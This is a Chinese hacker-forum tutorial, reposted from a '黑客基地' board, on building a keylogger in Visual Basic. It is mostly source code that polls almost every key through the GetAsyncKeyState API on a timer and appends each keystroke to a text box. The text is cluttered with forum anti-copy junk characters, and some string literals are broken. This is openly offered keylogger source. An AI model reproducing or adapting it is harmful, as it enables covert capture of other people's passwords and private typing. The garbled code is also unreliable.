手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 8 N. j3 e- y2 p) A- k) ]3 r2 ]1 J% _版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 1 F! r5 h3 d+ E很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 Y7 n' n* g7 J9 f$ n0 v返回值为一个16位的二进值数，如果被按下则最高位为1， & r; w, s s; W' n. ?& {即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： ( c7 h0 M+ L/ ^Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer : Y: B8 i) c- d$ h) W& \好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 6 Q d% ^- ^+ i8 U ( G* e) w7 f7 x' A! |+ @& a ) F) q/ D( H5 ?; i- @# w* ^在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey 0 C' C6 D3 ?% {. N) k% ` KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then 5 d7 u/ }+ R* F0 I- v: I AddKey = "[CTRL]" + Q% L% a2 o; j5 P0 O# f! w GoTo KeyFound ! j4 c0 ^4 V9 ] End If ' h& p& g! L9 z) j: } KeyResult = GetAsyncKeyState(8) '退格键 $ G, [0 j) P* [% |( a If KeyResult = -32767 Then 1 I- p$ L J7 u) k8 u8 _+ c AddKey = "[BKSPACE]" GoTo KeyFound End If # i" `7 n# i; k 2 H. k$ |) Z+ U* h KeyResult = GetAsyncKeyState(9) 2 ` [' c+ a' |4 C% J! k If KeyResult = -32767 Then AddKey = "[TAB]" , t/ o; x& h, d. x7 z; }) u7 | GoTo KeyFound 6 K; m( p: c% X/ D# `. I End If 4 [' N) J# K+ p. _: N KeyResult = GetAsyncKeyState(18) - {$ G6 `; C! L- p If KeyResult = -32767 Then ' i I) Y0 c3 Z( L L$ P5 m AddKey = "[ALT]" : N6 v0 y& p1 ^1 @( u+ L( d GoTo KeyFound ' M/ \4 {6 L, T' O End If # s) v3 Q+ R$ o! L KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then AddKey = "[PAUSE]" GoTo KeyFound ; i: n; ~2 {1 a9 c( Q: I! k End If 3 _5 H4 m, a! G6 |+ ~: }1 Z! B) H 1 I- @. T8 j6 W/ l% [3 p1 P KeyResult = GetAsyncKeyState(20) 8 }/ f/ i; H: A5 @# x) O6 e+ E R4 s$ N If KeyResult = -32767 Then 4 W, j0 h' k9 N7 O! k" r AddKey = "[CAPS]" + E' u- A: [0 B- ~: i. s+ u GoTo KeyFound End If KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then ; {, B! h) Y1 ^/ x, ~' l/ N AddKey = "[ESC]" ) `3 m- K+ j0 W7 _6 o$ H GoTo KeyFound End If + s) {' R5 z% b' k, r) t KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound End If 1 @4 g9 m2 K4 p1 n* A" j & u9 ]' o3 n( \ KeyResult = GetAsyncKeyState(34) 5 O( a' B" q) I: A' K- k- G- N If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound : j- \* Q! Z% X" }/ P End If 9 S" |" _7 a( ~, b 6 E4 x/ J r7 ]' V KeyResult = GetAsyncKeyState(35) ; p5 s* ^ J* H4 D/ f( d# N/ I If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound 9 B" k# b$ r5 W6 r" { End If ( D: j+ ~- Q+ [ @# c8 B! i% } & Y, @, J- W' J KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" ; Q( _$ m3 X" ` GoTo KeyFound ) W. n7 p# D4 t End If KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(45) " @8 w8 V* b( o3 N& a4 Z, Q; ~ If KeyResult = -32767 Then " h& p5 _1 G" E6 x$ U AddKey = "[INS]" GoTo KeyFound 3 J' Z @4 C9 A End If KeyResult = GetAsyncKeyState(46) 9 j# V W+ x X( T If KeyResult = -32767 Then " d3 r# w6 x2 A7 I3 ~5 t AddKey = "[DEL]" GoTo KeyFound 3 D0 W6 P, p& `. J End If ( Y3 f0 @2 S/ R! E& n4 G# k+ B" O1 c KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then 4 H1 `9 ^3 C0 P* L AddKey = "[NUM]" GoTo KeyFound 0 V8 n1 |1 ^! j; _ End If h& W( l5 z- a3 G q+ S; H* k KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then " U7 q" s5 h9 a/ G AddKey = "

" GoTo KeyFound - i6 d D% I/ a8 g( ~ End If KeyResult = GetAsyncKeyState(38) 9 S8 B* r7 Y0 L If KeyResult = -32767 Then AddKey = "[UP]" GoTo KeyFound , _$ B) Q9 [/ n9 Z5 v End If KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then AddKey = "

" GoTo KeyFound End If . k/ o$ e) d$ v* G) @+ l3 R KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then / n; p9 Q$ U4 x# m% I0 r AddKey = "[DOWN]" ' y2 H' y u1 Z GoTo KeyFound End If 0 Y' P6 r4 [. B& T) E* s( e 8 h$ ^$ s4 h2 z! d) w! `0 h KeyResult = GetAsyncKeyState(112) # x% |$ r- b- G, \4 h3 M. A If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If % [8 m& L) y* `3 n( \4 E 4 r( s1 j. ~9 U, |KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then 8 ~* p# a) C7 F0 m1 N" O AddKey = "[F2]" 1 ]* }( s# U1 ? O5 n6 r% J* @& N GoTo KeyFound End If 0 u2 T$ M) n. P/ yKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then " F! l7 ~" p8 ~8 h/ J3 _" k8 x AddKey = "[F3]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) 0 ^" g$ P$ B2 x0 _5 @' V If KeyResult = -32767 Then * u0 I5 q! D3 g) e+ e0 f AddKey = "[F4]" 1 F, `# G, d, Y0 |1 S- E GoTo KeyFound ; I; E+ E; k4 {6 @$ C% o& p) y) d End If # u) n8 q, ^( n* aKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]" 6 ~8 ~: l& q3 z0 f/ v GoTo KeyFound End If 2 w. U& q( k# z% _6 B% q KeyResult = GetAsyncKeyState(117) 5 q t# |3 G! y5 ] If KeyResult = -32767 Then AddKey = "[F6]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then $ ]8 s8 Z6 }" r0 x AddKey = "[F7]" 9 X6 q9 E& j7 R5 e; n6 Q# s3 }2 z# B GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]" GoTo KeyFound $ R& Q9 H' w: J6 w' A$ u2 D' { End If KeyResult = GetAsyncKeyState(120) # q: k6 k: |$ a! \- ?' k If KeyResult = -32767 Then & R7 l! \+ q' p9 P& H) K0 i AddKey = "[F9]" & k V3 b# e1 W: S; \ GoTo KeyFound 8 |: [7 B8 ~! M* E& N( f4 X3 ? End If 9 G& c2 l1 H1 t- b2 i! {9 d KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]" GoTo KeyFound ! x4 \! F% X" e r6 Q! d End If . @9 q9 Z k3 g KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then 2 ~. l( X, T3 k AddKey = "[F11]" GoTo KeyFound End If ( c0 e4 |+ m7 C5 ~8 }: ?5 g 2 H, D) h) p5 o9 F: MKeyResult = GetAsyncKeyState(123) 6 A% c) p0 @( X+ G4 O If KeyResult = -32767 Then + A2 `. u6 p$ z" o, v( n7 ?2 D AddKey = "[F12]" GoTo KeyFound % u9 |# p; B1 c- q# a4 t% K' P End If ( j9 j& x( }1 [* U2 c$ p7 N3 c KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" : K% L, i9 f& c GoTo KeyFound 9 }. ]: c1 W* z: H End If 4 h1 v: G' o0 G: X! D, q( g; v KeyResult = GetAsyncKeyState(125) : I0 e( b- O( d) G- Z9 H If KeyResult = -32767 Then % \( R' n8 H1 t. _ t: b AddKey = "[F14]" $ N1 c J) u$ k y GoTo KeyFound " y" H z# G2 t1 X3 s; v: f! m* W: } End If 8 A6 @1 f {. H5 W3 s ^. B / R* Q' B }8 K1 \KeyResult = GetAsyncKeyState(126) # s- s/ g, E+ w* Q6 g If KeyResult = -32767 Then 8 f& V. h, \$ A$ e5 S AddKey = "[F15]" GoTo KeyFound 7 k( O- h Z0 {1 h' f" ? End If # h! i$ n& R) ?/ Q# g ! Z' j( s, I' n% f! dKeyResult = GetAsyncKeyState(127) 8 ^' Z- `8 s# W- Y5 {/ h- h7 @1 F If KeyResult = -32767 Then . `- Q N9 @; S! H; Q, o4 o AddKey = "[F16]" 9 n7 D) E+ X* X0 O GoTo KeyFound ; {' y% P9 Q6 H0 y4 u7 q, X, }& x End If ( W- H2 a0 Y" ~1 ]' b6 ^ KeyResult = GetAsyncKeyState(32) 0 T; a$ e6 o" L+ I- A3 x1 e If KeyResult = -32767 Then AddKey = " " GoTo KeyFound End If ) J; u( e; x0 d$ R6 ^KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" # r5 H. k- s5 t9 \+ K GoTo KeyFound End If & g0 u, q1 G7 K0 t2 N6 |" VKeyResult = GetAsyncKeyState(187) , l4 ^- y- j4 ?, F6 ~) J( D If KeyResult = -32767 Then AddKey = "=" GoTo KeyFound End If . a# q2 G7 T( N! R/ H, cKeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then g/ o9 h1 h" f1 J9 B9 r AddKey = "," 4 ?6 A8 O+ V& r- Q GoTo KeyFound ; d! \! X* M0 O2 H2 c End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then 2 H" @) V* J- [, p AddKey = "-" $ w5 _' W! [# \2 b* g" \ GoTo KeyFound 4 e! Z) k* u4 K8 i, R' k* _! `7 A End If KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then AddKey = "/" '/ GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then # A* r) P6 S" H( a- z6 O AddKey = "`" '` GoTo KeyFound + Q L. i* b- y8 r t" ] End If 3 E# R8 V4 p: N '----------NUM PAD KeyResult = GetAsyncKeyState(96) / M) n2 ]/ z. ]6 _" X% z3 W8 ~ If KeyResult = -32767 Then AddKey = "0" ; Q( x5 P4 m* P% n9 o( b) v: n GoTo KeyFound End If KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then ; A0 v5 R8 q9 t+ f# z! v3 a% ^ AddKey = "1" 6 k* L, R; r" B7 Q3 ~* r/ K GoTo KeyFound ) t t7 r, ?0 a) ^! j End If }* b2 z$ x3 d/ \- X9 Z# U8 SKeyResult = GetAsyncKeyState(98) ) G: ~8 M3 Q8 O q p If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound ; y7 e- |7 E5 t3 h! i- E2 F; e End If 4 b% C+ @7 z z8 M KeyResult = GetAsyncKeyState(99) : P1 K2 l' \/ I& y3 ~. R If KeyResult = -32767 Then AddKey = "3" GoTo KeyFound End If 8 {; l6 [7 i3 }KeyResult = GetAsyncKeyState(100) , M5 n" c% z% ` If KeyResult = -32767 Then AddKey = "4" GoTo KeyFound End If KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then 9 B, J- |7 ]$ v8 B; ^ s4 t AddKey = "5" 2 C8 I7 K; X, T( A GoTo KeyFound End If KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" " O# ^/ P+ ?2 U1 _& d7 z! y; l7 Y GoTo KeyFound End If 2 K b! X- M8 I2 R% f HKeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then 2 ]8 N- F m- r' D AddKey = "7" GoTo KeyFound 0 a5 m6 ~3 H6 b# o3 g( o; a End If ' [* U$ }( k& a$ B0 w7 U* l# V1 g9 GKeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" / R9 q. }$ ]( v$ d GoTo KeyFound 9 l9 \& {2 q- Q7 Y) V% I3 l End If 9 h u5 J0 [; p9 t6 D: @1 z( y @. DKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound 8 Y* B& J E$ n2 _0 B8 o7 C6 D End If 8 [1 h' }! w% D& c ; ?2 O7 Q, |; J4 s) N1 Z2 M6 a KeyResult = GetAsyncKeyState(106) ! `1 V+ o( d& t If KeyResult = -32767 Then AddKey = "*" ( [. J- n4 h; e ^% F GoTo KeyFound - P. }) x' V7 L3 G End If ; [& J- V% |3 f& h KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then , b7 w& z$ R# H0 e AddKey = "+" ' ?% _9 G D( D0 _6 Y6 J! t o6 G GoTo KeyFound End If / ?% C. r0 K7 |9 g3 U" ^' hKeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then AddKey = "[ENTER]" ! ~3 G- q* i/ g GoTo KeyFound End If * X' F' e7 @: I& }' F7 P KeyResult = GetAsyncKeyState(109) $ f; V5 I2 ^, _0 c% K+ [) W If KeyResult = -32767 Then - k6 f5 t$ d- s AddKey = "-" GoTo KeyFound / G/ d4 H0 n" u9 t$ J/ V& T+ j3 D End If , {1 ^3 S& z7 s- h/ ~' T - |+ m" i3 t% _4 IKeyResult = GetAsyncKeyState(110) " Z6 O7 W& I) g# g If KeyResult = -32767 Then AddKey = "." GoTo KeyFound ) p$ x* i. Z" s( Y7 \. F1 m End If 0 o/ g' }. A1 i$ sKeyResult = GetAsyncKeyState(2) ' W0 c2 |' k4 g: s If KeyResult = -32767 Then ) k* t0 z0 }1 r+ t) \+ H9 y0 g AddKey = "/" & f# q \/ z1 B5 k- }$ R GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) $ k f. C5 U6 P# T2 J4 z4 G, S If KeyResult = -32767 Then ' m9 M! P3 l) U AddKey = "\" # v- h" }$ F) n! m" d- e GoTo KeyFound End If 5 Y6 A- w! p& K$ q+ {7 M KeyResult = GetAsyncKeyState(222) " E& N$ T; m( G1 Z# Q- V ` If KeyResult = -32767 Then + D0 n# C8 Z3 W, ^2 `' \& ?1 c AddKey = "'" ) K' N) {' j( u% v8 [2 Z4 w; O GoTo KeyFound End If KeyResult = GetAsyncKeyState(221) : V, y! f7 r5 K+ l If KeyResult = -32767 Then * Q% q+ N; f# Y6 V+ f# F2 e9 L, L AddKey = "]" 7 O( @1 I' _; P GoTo KeyFound End If KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then ; l8 `" \! S8 z AddKey = "[" 6 b. j) ]+ ^2 D) ]/ ]% ~6 T GoTo KeyFound End If % o0 } M. g) H, u8 H; W% g ' Q, T# ~( h$ s; }+ a+ p# M( s% {KeyResult = GetAsyncKeyState(16) 'shift键 2 n; s2 p4 C# A, _ If KeyResult = -32767 And TimeOut = 0 Then ' W. N$ k! B# \7 T/ ` AddKey = "[SHIFT]" LastKey = AddKey # p& B3 X. ?5 f/ `# \ TimeOut = 1 GoTo KeyFound End If . o' p) r" o& E( q. o5 \' q# t8 K & t% d" G2 D9 j; w KeyLoop = 41 * o& q, y% [* r4 c7 V8 U& Y, R3 I9 N Do Until KeyLoop = 256 ' 显示其他键 0 \- V! B x0 p, U6 u6 ^" o KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 Loop LastKey = AddKey Exit Sub $ w% c- P" p0 J. Y+ w( N( NKeyFound: '显示键的信息 ) l( V2 w2 d3 M$ Z( Z( T3 c $ _1 o. o* P8 |9 G K. {( U' Q. cText1 = Text1 & AddKey End Sub : ]" |8 h/ m$ e# B4 [上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 5 l. K& |* F8 M# \0 Q" \现提供Ascii表一份供对照 % ?) q; V6 e9 D O4 {/ V! _' Rhttp://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 Private Sub Timer2_Timer() TimeOut = 0 $ ]/ A5 y: R! h( T" HEnd Sub 目的是随时刷新清空